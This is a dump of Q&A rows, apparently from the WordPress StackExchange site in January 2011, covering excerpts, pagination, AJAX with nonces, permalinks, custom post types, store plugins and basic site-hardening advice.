  <row Id="6924" PostTypeId="1" CreationDate="2011-01-13T22:10:48.907" Score="3" ViewCount="253" Body="&lt;p&gt;Are there some simple ways to beef up the security on a WordPress site?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:05:16.043" LastActivityDate="2011-07-29T13:38:11.347" Title="WordPress and Security" Tags="&lt;security&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="4" />
  <row Id="6925" PostTypeId="1" AcceptedAnswerId="6928" CreationDate="2011-01-13T22:30:24.570" Score="0" ViewCount="347" Body="&lt;p&gt;In the code below represents a link list of recent posts. I'm just trying to write out the post name, along with the post excerpt if one exists. So I'm using the get_link_excerpt($post) function in order to determine if the current post in the for loop has an excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine if the post has an excerpt, however, if it doesn't, the get_the_excerpt() function is returning its own excerpt crafted from the current page's content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I'm placing this function on the home page, so every post that does not explicitly have a snippet is getting a virtual excerpt from the home page's content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, I'm passing $post improperly, what's the correct way to do it here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_footer_recent(){&#xA;    $myquery = new WP_Query();$myquery-&amp;gt;query(array('post__not_in' =&amp;gt; get_option('sticky_posts')));&#xA;    $myrecentpostscount = $myquery-&amp;gt;found_posts;&#xA;    if ($myrecentpostscount &amp;gt; 0){ ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&amp;lt;i&amp;gt;Latest News &amp;amp; Articles&amp;lt;/i&amp;gt;&#xA;            &amp;lt;?php global $post;$myrecentposts = get_posts(array('post__not_in' =&amp;gt; get_option('sticky_posts'),'numberposts' =&amp;gt; get_option('cb2_recent_count')));&#xA;            foreach($myrecentposts as  $idxrecent=&amp;gt;$post) { ?&amp;gt;&#xA;                &amp;lt;li class=&quot;page_item&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php echo get_link_excerpt(); ?&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php }} &#xA;&#xA;function get_link_excerpt(){&#xA;    $LinkExcerpt = strip_tags(substr(get_the_excerpt(), 0, 75 ));&#xA;    if($LinkExcerpt != '')&#xA;    {&#xA;        return &quot;: &quot;.$LinkExcerpt.&quot;...&quot;;&#xA;    }&#xA;    return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-13T23:18:41.140" LastActivityDate="2011-01-13T23:18:41.140" Title="get_the_excerpt() is not returning an empty string when the_excerpt is blank?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6926" PostTypeId="2" ParentId="6917" CreationDate="2011-01-13T22:37:38.820" Score="1" ViewCount="" Body="&lt;p&gt;I fixed it by including the JS files in the header, so there's an error in another plugin's JS that's causing the issue.&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2011-01-13T22:37:38.820" />
  <row Id="6927" PostTypeId="1" CreationDate="2011-01-13T22:56:47.360" Score="0" ViewCount="361" Body="&lt;p&gt;I’m having issues with my pagination in wordpress. Whenever I navigate to my archive section (news category), pagination works correctly. But, the issue lies with the plugin I’m using to generate a category specific archive. This plugin is dependant on permalink structure being: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/%cateogry%/%year% /%monthnum% /%postname%/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on the link “December 2010” (which is supposed to display a list of posts dated in Dec. 2010 from the “news” category), the plugin passes a url that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.my-site.com/news/2010/12/  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That url causes the pagination to stop working because the link to page 2 looks like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.my-site.com/news/2010/12/page/2/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get this to work regardless of the category name change? I’m using multiple categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Working&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;News archive: www.my-site.com/news/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 2: www.my-site.com/news/page/2/ &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;NOT Working (after plugin does its thing)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;News archive (Dec 12): www.my-site.com/news/2010/12/page/2/&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2011-01-14T14:40:11.947" Title="Having issues with wordpress pagination with multiple categories" Tags="&lt;pagination&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6928" PostTypeId="2" ParentId="6925" CreationDate="2011-01-13T22:59:13.483" Score="1" ViewCount="" Body="&lt;p&gt;I got it working. Here's what I had to do in my utility function...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_link_excerpt(){&#xA;if(has_excerpt()){&#xA;$LinkExcerpt = strip_tags(substr(get_the_excerpt(), 0, 75 ));&#xA;return &quot;: &quot;.$LinkExcerpt.&quot;...&quot;;&#xA;}&#xA;return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-13T23:18:09.393" LastActivityDate="2011-01-13T23:18:09.393" CommentCount="2" />
  <row Id="6929" PostTypeId="2" ParentId="6924" CreationDate="2011-01-13T23:41:45.743" Score="10" ViewCount="" Body="&lt;p&gt;I'd tackle this problem on three layers: plugins, core and filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most security problems arise via 3rd party plugins and themes, so as  Ambitious Amoeba notes the best thing you can do is choose those wisely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also be sure to update to the latest version of WordPress, because they always patch the big issues but older versions are quite vulnerable. Since WordPress blogs are so commonly used (Google &quot;inurl:wp-login.php&quot;) you are really asking for it when you don't update your core to the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there's a lot of user error that causes problems -- you can't get your FTP to update so you chown 777 or something, thinking it'll be fine, then some remote nerdowell figures it out and your toast. Best thing to do is make sure you lock down your permissions as much as you can on the filesystem -- I believe chmod 755 is the preferred level.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-13T23:41:45.743" CommentCount="2" />
  <row Id="6930" PostTypeId="2" ParentId="3570" CreationDate="2011-01-13T23:54:13.757" Score="2" ViewCount="" Body="&lt;p&gt;first your form that calls the ajax must have the an action filed with the value of the ajax hook&#xA;for example your ajax call is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_show_all_tracks', 'show_all_tracks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the your form action field must be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;show_all_tracks&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thats for start' so as for adding tracks you need to add a function to add javascript to the track edit form or add it to your code by changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_post_enctype() {&#xA;    echo '&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function(){&#xA;        jQuery(&quot;#post&quot;).attr(&quot;enctype&quot;, &quot;multipart/form-data&quot;);&#xA;        jQuery(&quot;#post&quot;).attr(&quot;encoding&quot;, &quot;multipart/form-data&quot;);&#xA;    });&#xA;    &amp;lt;/script&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_post_enctype() {&#xA;    echo '&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function(){&#xA;        jQuery(&quot;#post&quot;).attr(&quot;enctype&quot;, &quot;multipart/form-data&quot;);&#xA;        jQuery(&quot;#post&quot;).attr(&quot;encoding&quot;, &quot;multipart/form-data&quot;);&#xA;        jQuery(&quot;#Add Track&quot;).click(function() {&#xA;            jQuery.ajax({&#xA;                type: &quot;post&quot;,url: &quot;&amp;lt;?php echo admin_url('admin-ajax.php'); ?&amp;gt;&quot;,&#xA;                data: { &#xA;                    action: 'add_track',&#xA;                    ad_type: jQuery( '#tr_name' ).val() ,&#xA;                    ad_type: jQuery( '#tr_time' ).val() ,&#xA;                    ad_type: jQuery( '#tr_lyrics' ).val() ,&#xA;                    _ajax_nonce: jQuery( '#nonce' ).val() , &#xA;                },&#xA;                success: function(html){ //so, if data is retrieved, store it in html&#xA;                    if (html.indexOf('ok') &amp;gt; -1 || html.indexOf('true') &amp;gt; -1) {&#xA;                        alert('track added');&#xA;                    }&#xA;&#xA;                }&#xA;            });&#xA;            return false;&#xA;        });&#xA;&#xA;    });&#xA;    &amp;lt;/script&amp;gt;';}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the create an ajax do action hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_add_track', 'add_track');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then the function itself to add the tracks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_track(){&#xA;check_ajax_referer( &quot;add_track&quot; );&#xA;/* save to the custom field array that holds the track data.&#xA;and return OK as string  i know you can manage that*/&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and last is change your form  from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;add-track-form&quot; name=&quot;add-track-form&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;mytheme_meta_box_nonce&quot; value=&quot;'&amp;lt;?php wp_create_nonce(basename(__FILE__)) ?&amp;gt;'&quot; /&amp;gt;&#xA;&amp;lt;?php foreach($this-&amp;gt;_meta_box['form'] as $el){&#xA;    $this-&amp;gt;display_field($el);&#xA;    } ?&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;add-track&quot; name=&quot;add-track&quot; value=&quot;Add Track&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form id=&quot;add-track-form&quot; name=&quot;add-track-form&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;nonce&quot; id=&quot;nonce&quot; value=&quot;&amp;lt;?php echo wp_create_nonce( 'add_track' ); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php foreach($this-&amp;gt;_meta_box['form'] as $el){&#xA;        $this-&amp;gt;display_field($el);&#xA;        } ?&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;add-track&quot; name=&quot;add-track&quot; value=&quot;Add Track&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps and its really more of a draft but it should get you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ohad.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-13T23:54:13.757" CommentCount="2" />
  <row Id="6931" PostTypeId="1" AcceptedAnswerId="6939" CreationDate="2011-01-14T00:12:20.013" Score="1" ViewCount="127" Body="&lt;p&gt;Suppose that I create a page in the admin section (under 'Pages') and I have permalinks turned on and this pages slug is 'my-new-page', then is there a WordPress function that will work outside the (blog) Loop that I can use in that page's template on my theme that will retrieve that page's permalink?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2011-01-14T02:17:04.843" Title="Is there a wordpress function that I can use to retrieve the current page that is loaded?" Tags="&lt;permalinks&gt;&lt;functions&gt;&lt;page-template&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="6932" PostTypeId="2" ParentId="6765" CreationDate="2011-01-14T00:13:33.077" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_action('personal_options_update', 'redirect_me');&#xA;function redirect_me(){&#xA;  wp_redirect(home_url('/'));&#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-14T00:13:33.077" CommentCount="3" />
  <row Id="6934" PostTypeId="2" ParentId="6924" CreationDate="2011-01-14T01:49:04.460" Score="1" ViewCount="" Body="&lt;p&gt;The way you secure a WordPress install is the same way you secure any other box. Figure out who needs access, only give them access, enforce a strong password policy, and limit the number of brute force connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part about only installing plugins you need/trust is absolutely critical, but it's not just for security, it's also for performance. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2011-01-14T01:49:04.460" />
  <row Id="6935" PostTypeId="2" ParentId="6175" CreationDate="2011-01-14T01:52:53.100" Score="0" ViewCount="" Body="&lt;p&gt;As far as I understand, you should add &quot;&lt;code&gt;&amp;lt;?php get_sidebar();?&amp;gt;&lt;/code&gt;&quot; (without the quotes) right before the last line (get_footer) in order to be able to embed the sidebar. This is the usual WP function.&#xA;BUT the caveat is that, in my opinion, the plugin author is creating the calendar page without the sidebar on purpose, because the styling of the calendar grid in the TEC plugin indicates that it should take almost the whole page width. The same happens with the Google Maps post, even if you change the size of the displayed map in the settings –the page still covers the whole width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were in your situation I would ask in the forums at the plugin page, as the text in the settings area recommends.&#xA;The forums: &lt;a href=&quot;http://wordpress.org/tags/the-events-calendar?forum_id=10&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/tags/the-events-calendar?forum_id=10&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you could spend some time tweaking the stylesheet to get the calendar grid size the way you'd like.&#xA;Hope it helps!&#xA;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rogelio.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-14T02:04:08.767" CommentCount="1" />
  <row Id="6936" PostTypeId="2" ParentId="6175" CreationDate="2011-01-14T01:56:05.513" Score="0" ViewCount="" Body="&lt;p&gt;Sorry, I haven't read the whole post. Didn't know that you already tried to add the thematic sidebar. I don't know how to delete my previous post.&#xA;Regarding the init line, it's just to reset the query before another loop. I don't think it has anything to do with the sidebar problem.&#xA;This is the Codex page for WP-Query and it explains that:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the inconveniences!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rog.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-14T02:12:18.137" />
  <row Id="6937" PostTypeId="2" ParentId="6931" CreationDate="2011-01-14T02:00:50.250" Score="0" ViewCount="" Body="&lt;p&gt;yes first of all you would need to require wp-load.php in your custom area using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA; require( '../my_wordpress_install_root/wp-load.php' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after that you can follow thsi tut to call any page : &#xA;&lt;a href=&quot;http://www.snilesh.com/resources/wordpress/wordpress-tips-and-tricks/wordpress-get-page-content-by-page-id/&quot; rel=&quot;nofollow&quot;&gt;http://www.snilesh.com/resources/wordpress/wordpress-tips-and-tricks/wordpress-get-page-content-by-page-id/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-01-14T02:00:50.250" CommentCount="1" />
  <row Id="6938" PostTypeId="2" ParentId="6908" CreationDate="2011-01-14T02:04:20.637" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Zack:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going out on a limb here since your question wasn't clear. It sounds like you want to be able to display the first and last name of the visitor in the vistor listing instead of &lt;em&gt;&quot;Auto Draft?&quot;&lt;/em&gt;  If so this code should work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'the_title', 'make_vistor_title', 10, 2 );&#xA;function make_vistor_title($title,$post_id) {&#xA;  global $pagenow,$typenow;&#xA;  if ($pagenow=='edit.php' &amp;amp;&amp;amp; $typenow=='visitor') {&#xA;    return the_visitor_title($post-&amp;gt;ID);&#xA;  }&#xA;  return $title;&#xA;}    &#xA;function the_visitor_title($post_id) {&#xA;  return get_post_meta( $post_id, 'v_f_name', true ) . ' ' . &#xA;         get_post_meta( $post_id, 'v_l_name', true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want the title to work no matter where you are use this version of &lt;code&gt;make_visitor_title()&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function make_vistor_title($title,$post_id) {&#xA;  $post = get_post($post_id);&#xA;  if ($post-&amp;gt;post_type=='visitor') {&#xA;    $title = the_visitor_title($post-&amp;gt;ID);&#xA;  }&#xA;  return $title;&#xA;}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course another &lt;em&gt;(better?)&lt;/em&gt; option would be to use capture the names on POST and create a title based on the values in your two (2) custom meta fields &lt;code&gt;'v_f_name'&lt;/code&gt; and &lt;code&gt;'v_l_name'&lt;/code&gt; using code like the following (which is far more complex that I would like it to be but that's what it took me to get it working - maybe someone else could suggest a simpler way?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'visitor_post_admin_init', 10, 2 );&#xA;function visitor_post_admin_init() {&#xA;  global $pagenow;&#xA;  if ($pagenow=='post.php' &amp;amp;&amp;amp; isset($_POST['action']) &amp;amp;&amp;amp; $_POST['action']=='editpost') {&#xA;    if (empty($_POST['post_title'])) {&#xA;      $_POST['post_title'] = get_visitor_title_from_POST($_POST);&#xA;    }&#xA;  }&#xA;}&#xA;add_action( 'wp_insert_post_data', 'insert_visitor_data', 10, 2 );&#xA;function insert_visitor_data($data,$postarr) {&#xA;  if ($data['post_type']=='actor' &amp;amp;&amp;amp; !in_array($data['post_status'],array('draft','auto-draft'))) {&#xA;    if (isset($postarr['meta'])) {&#xA;      extract($postarr);&#xA;      $post_title = get_visitor_title_from_POST($postarr);&#xA;      if (!empty($post_title))&#xA;        $data['post_title'] = trim($post_title);&#xA;      $post_name = sanitize_title_with_dashes($post_title);&#xA;      $data['post_name'] = wp_unique_post_slug($post_name, $ID, $post_status, $post_type, $post_parent);&#xA;    }&#xA;  }&#xA;  return $data;&#xA;}&#xA;function get_visitor_title_from_POST($POST) {&#xA;  $meta = array();&#xA;  foreach($POST['meta'] as $key_value)&#xA;    $meta[$key_value['key']] = $key_value['value'];&#xA;  if (isset($POST['metavalue'])) {&#xA;    if (isset($POST['metakeyselect']) &amp;amp;&amp;amp; $POST['metakeyselect']!='#NONE#') {&#xA;      $meta[$POST['metakeyselect']] = $POST['metavalue'];&#xA;    } else {&#xA;      $meta[$POST['metakeyinput']] = $POST['metavalue'];&#xA;    }&#xA;  }&#xA;  $title = (isset($meta['v_f_name']) ? &quot;{$meta['v_f_name']} &quot; : '');&#xA;  if (isset($meta['v_l_name']))&#xA;    $title .= $meta['v_l_name'];&#xA;  return trim($title);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-14T02:04:20.637" CommentCount="2" />
  <row Id="6939" PostTypeId="2" ParentId="6931" CreationDate="2011-01-14T02:17:04.843" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@racl101:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you are after is to use &lt;strong&gt;&lt;code&gt;get_page_link($post-&amp;gt;ID)&lt;/code&gt;&lt;/strong&gt;. The value &lt;code&gt;$post&lt;/code&gt; will have been set by the default query to be equal to the post for the current page and should be in scope when your page template is run.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-14T02:17:04.843" CommentCount="4" />
  <row Id="6940" PostTypeId="2" ParentId="6924" CreationDate="2011-01-14T04:55:24.527" Score="4" ViewCount="" Body="&lt;p&gt;Start with the Codex article called &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening Wordpress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important things are keeping WP up to date, using string passwords, and having a secure server setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd also do well to use some kind of monitoring. If you're not comfortable doing this yourself, there are some services that do it. I've been using &lt;a href=&quot;http://vaultpress.com&quot; rel=&quot;nofollow&quot;&gt;Vaultpress&lt;/a&gt; for a couple months now and am pretty happy with it. But the package that comes with security scanning is a bit pricey for personal use ($40/mo!), so I'm thinking of moving back to &lt;a href=&quot;http://sucuri.net/&quot; rel=&quot;nofollow&quot;&gt;securi&lt;/a&gt;, which has a $10/mo plan (but which doesn't include backups...just monitoring).&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-14T04:55:24.527" />
  <row Id="6941" PostTypeId="1" AcceptedAnswerId="7019" CreationDate="2011-01-14T05:32:06.873" Score="1" ViewCount="303" Body="&lt;p&gt;I am currently in the middle of developing quite an extensive and complicated record label website that uses post types and a whole bunch of relationship mapping to map post types to one another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the major functionality of the site is a store. Because I have an &quot;Artists&quot; post type called &quot;artists&quot; I would like to use a store plugin that offers variations as I will be dealing with physical and digital music sales, as well as selling merchandise and would like to use a plugin that takes advantage of custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to relate one or more items to a particular artist in the &quot;artist&quot; post type so that I don't have to make the client enter the artists names again, thus having to different locations storing the same data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken a look at &lt;a href=&quot;http://premium.wpmudev.org/project/e-commerce&quot; rel=&quot;nofollow&quot;&gt;MarketPress&lt;/a&gt; created by WPMU Dev, but it seems as though support for variations isn't quite there yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.getshopped.org/&quot; rel=&quot;nofollow&quot;&gt;WP E-Commerce&lt;/a&gt; 3.8 (currently in beta) by Instinct supposedly uses custom post types, but to me it doesn't appear to be using custom post types whatsoever, but rather it's own interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;a href=&quot;http://www.phpurchase.com/&quot; rel=&quot;nofollow&quot;&gt;PHPPurchase&lt;/a&gt; as well, but out-of-the-box it uses pages instead of post types. I did find a tutorial telling you how to supposedly use custom post types with it, but it hardly seemed like true post type integration, the tutorial is located &lt;a href=&quot;http://mondaybynoon.com/2010/08/09/wordpress-custom-post-types-phpurchase-cart-part-2/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a way I can relate my artists post type to any pre-existing shop plugins for Wordpress, that would be awesome too and I wouldn't mind having to add in different code to relate the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commercial and free solutions welcomed.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:35:20.253" LastActivityDate="2011-03-30T18:40:14.740" Title="Need Help Finding a Wordpress E-Commerce Plugin That Utilises Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;plugin-recommendation&gt;&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" />
  <row Id="6942" PostTypeId="1" CreationDate="2011-01-14T05:43:30.560" Score="0" ViewCount="283" Body="&lt;p&gt;i need advice in implementing rotating header (has fade or slide effect) in my theme. I'm building a theme based on Thematic and I'm looking for a good approach on how to implement the header. I have 2 option, I can use a Plug or I can inject the header in my functions.php. Help me decide on best way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The are Pros and Cons on its approach,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin Pros&lt;/strong&gt;: Easy to Install--no codes needed, client friendly-has an admin interface,&#xA;&lt;strong&gt;Plugin Cons&lt;/strong&gt;: not usually what you looking for.. sometime you you just work on what's available out there..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php Pros&lt;/strong&gt; -- You have full control of the design.&#xA;&lt;strong&gt;functions Cons&lt;/strong&gt;: no admin interface -- it would be hard for clients to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Header Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www[dot]haardtline[dot]de&lt;/strong&gt; - (blind effect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www[dot]sweetsinthecitychicago[dot]com&lt;/strong&gt; - (fade effect )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www[dot]collaborative-coaching[dot]com&lt;/strong&gt; - (sliding effect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for an approach where i can re-use it to other project. where I can just tweak the dimensions and effect. For the clients it's easy for them to maintain.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I apologize for confusion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest question I could think is. How do you do it on your client? What is the best and well used approach...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you use a plugin? what plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or code it? (in coding it, my one problem is the admin interface, I need my functions.php to generate an admin interface where user can easily upload images and set some settings.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="378" LastEditorUserId="378" LastEditorDisplayName="" LastEditDate="2011-01-14T11:55:02.183" LastActivityDate="2011-03-16T06:33:33.207" Title="sliding/fading header plugin or approach suggestion" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;jquery&gt;&lt;headers&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="6944" PostTypeId="2" ParentId="6924" CreationDate="2011-01-14T05:53:42.740" Score="2" ViewCount="" Body="&lt;p&gt;There are a couple of plugins you can use to boost your site's security. They are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/secure-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Secure WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://semperfiwebdesign.com/custom-applications/wp-security-scan/&quot; rel=&quot;nofollow&quot;&gt;WP Security Scan&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They do different things, but cover a number of potential problem points.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-01-14T05:53:42.740" />
  <row Id="6945" PostTypeId="2" ParentId="6942" CreationDate="2011-01-14T05:59:41.200" Score="1" ViewCount="" Body="&lt;p&gt;I find using custom post types in Wordpress is the easiest way to achieve this. I have used them on quite a few websites and on a major record label website I am currently working on to create multiple carousels with relationships throughout the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend a post type UI tool like &lt;a href=&quot;http://www.wpeasyposttypes.com/&quot; rel=&quot;nofollow&quot;&gt;Easy Post Types&lt;/a&gt; to create custom post types and then use features like &quot;featured thumbnail image&quot; and custom fields to create simple carousels that can be accessed by get_posts, query_posts and creating a new instance of WP_query.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-01-15T05:34:33.570" LastActivityDate="2011-01-15T05:34:33.570" CommentCount="2" />
  <row Id="6946" PostTypeId="2" ParentId="6771" CreationDate="2011-01-14T06:02:44.913" Score="1" ViewCount="" Body="&lt;p&gt;There is no such plugin out there to do this that I am aware of. But, this is an awesome idea for a plugin. When I get the time I might have a go at creating a theme / plugin versioning plugin that merely creates copies of itself so you can revert back after changes have been made. It wouldn't be overly complex like Git or SVN, but it would be useful.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-14T06:02:44.913" CommentCount="4" />
